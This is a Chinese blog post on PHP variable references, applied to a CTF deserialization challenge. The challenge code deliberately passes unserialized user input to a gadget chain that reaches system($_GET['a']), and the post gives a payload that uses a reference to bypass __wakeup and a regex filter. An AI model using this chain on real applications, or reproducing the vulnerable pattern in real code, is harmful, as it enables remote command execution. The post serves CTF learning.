首页 > 编程语言 >php变量引用

php变量引用

时间:2024-04-24 19:55:06浏览次数:26  
标签:function 变量 no ctf 引用 php public

可以看到b原本的值是123,引用a之后,变成100

但是修改b的值为1100之后,发现a的值也从原本的100变成1100了

这就涉及到引用的基本工作原理:

当你使用引用时,实际上是在操作同一个变量的不同别名,因此对一个引用的修改会影响到所有指向该变量的引用

 

应用场景:

如果某个我们想要控制的变量被强制赋值,这时候如果我们有其他可控变量的话,可以通过引用赋值来

例子:

<?php
show_source(__FILE__);
class a{
    public function __get($a){
        $this->b->love();
    }
}
​
class b{
    public function __destruct(){
        $tmp = $this->c->name;
    }
    public function __wakeup(){
        $this->c = "no!";
        $this->b = $this->a;
    }
}
​
class xk{
    public function love(){
       system($_GET['a']);
    }
}
​
if(preg_match('/R:2|R:3/',$_GET['pop'])){
    die("no");
}
unserialize($_GET['pop']);

 

审计完代码后,目的是要绕过wakeup中的这句$this->c = "no!"; 因为如果$this->c = "no!";的话 就无法触发get了

这时候就可以利用引用赋值,如通过b类的b属性来通过c属性

payload:

$ctf = new b();
$ctf->a= new a();
$ctf->a->b=new xk();
$ctf->c=&$ctf->b;
echo serialize($ctf);

 

 
 

标签:function,变量,no,ctf,引用,php,public
From: https://www.cnblogs.com/xjrycd/p/18156201

相关文章

  • ThinkPHP-数据库操作---查
    //find单条数据查询//查询单条数据Db::name('user')->where('id',1)->find();//查询单条数据如果没有数据抛出errorDb::name('user')->where('id',1)->findOrFail();//查询单挑数据查询单条数据如果没有数据返回一个空数组Db::name('user')->whe......
  • C# winform程序中 使用全局公有变量
    在winform项目中用于存用户名,权限的全局公有变量。如果采用登陆后在主窗体存储,每一次实例子窗体时,再传参过去。这种方法也行,就是有点太麻烦了。我采用的是 存储在 Program.cs文件中定义 全局公有变量方案。也有缺点但相对方便些。Program.cs文件usingSystem......
  • Java引用拷贝、浅拷贝、深拷贝
    原链接在开发、刷题、面试中,我们可能会遇到将一个对象的属性赋值到另一个对象的情况,这种情况就叫做拷贝。拷贝与Java内存结构息息相关,搞懂Java深浅拷贝是很必要的!在拷贝中这里就分为引用拷贝、浅拷贝、深拷贝进行讲述。引用拷贝引用拷贝会生成一个新的对象引用地址,但是两个最......
  • 2024-04-24 PHP之CURD
    基本的查询业务逻辑,返回列表数据:data;操作信息:msg;操作状态:status$query="SELECT*fromos_system";</span><spanstyle="color:#800080;">$data</span>=<spanstyle="color:#800080;">$mysqli</span>->query(<......
  • Java 中什么是弱引用
    java弱引用对象被回收后,弱引用会变为null吗会。对象被回收后,空间会被回收,给空间地址分配的地址也会被回收,其引用都变成了null。什么是弱引用弱引用(WeakReference)是一种特殊的引用关系,在计算机程序设计中,与强引用相对。弱引用的主要特点是它不能确保其引用的对象不会被垃圾回收......
  • jmeter :包含控制器引用外部测试片段
    什么场景适合用测试片段:多人协作接口测试时,每个人负责的模块接口不一样,使用测试片段可以减少脚本重复编写,很好解决模块间脚本依赖问题。1.添加测试片段并保存测试计划:将已调试好的请求和调试取样器放到测试片段(外部测试片段)添加测试片段保存的另一种方法:  按ctrl+选中请求......
  • C++ 指针变量的字面量以及其所指对象的字面量
    指针变量的字面量以及其所指对象的字面量 #include<iostream>usingnamespacestd;intmain(){intvar=20;int*var_address;var_address=&var;cout<<"Valueofvarvariavle:"<<var<<endl;//Valueofvarvari......
  • C++ 指针变量的字面量以及其所指对象的字面量
    指针变量的字面量以及其所指对象的字面量 #include<iostream>usingnamespacestd;intmain(){intvar=20;int*var_address;var_address=&var;cout<<"Valueofvarvariavle:"<<var<<endl;//Valueofvarvari......
  • C++ 指针变量的字面量以及其所指对象的字面量
    指针变量的字面量以及其所指对象的字面量 #include<iostream>usingnamespacestd;intmain(){intvar=20;int*var_address;var_address=&var;cout<<"Valueofvarvariavle:"<<var<<endl;//Valueofvarvari......
  • C++ 指针变量的字面量以及其所指对象的字面量
     指针变量的字面量以及其所指对象的字面量 #include<iostream>usingnamespacestd;intmain(){intvar=20;int*var_address;var_address=&var;cout<<"Valueofvarvariavle:"<<var<<endl;//Valueofvarv......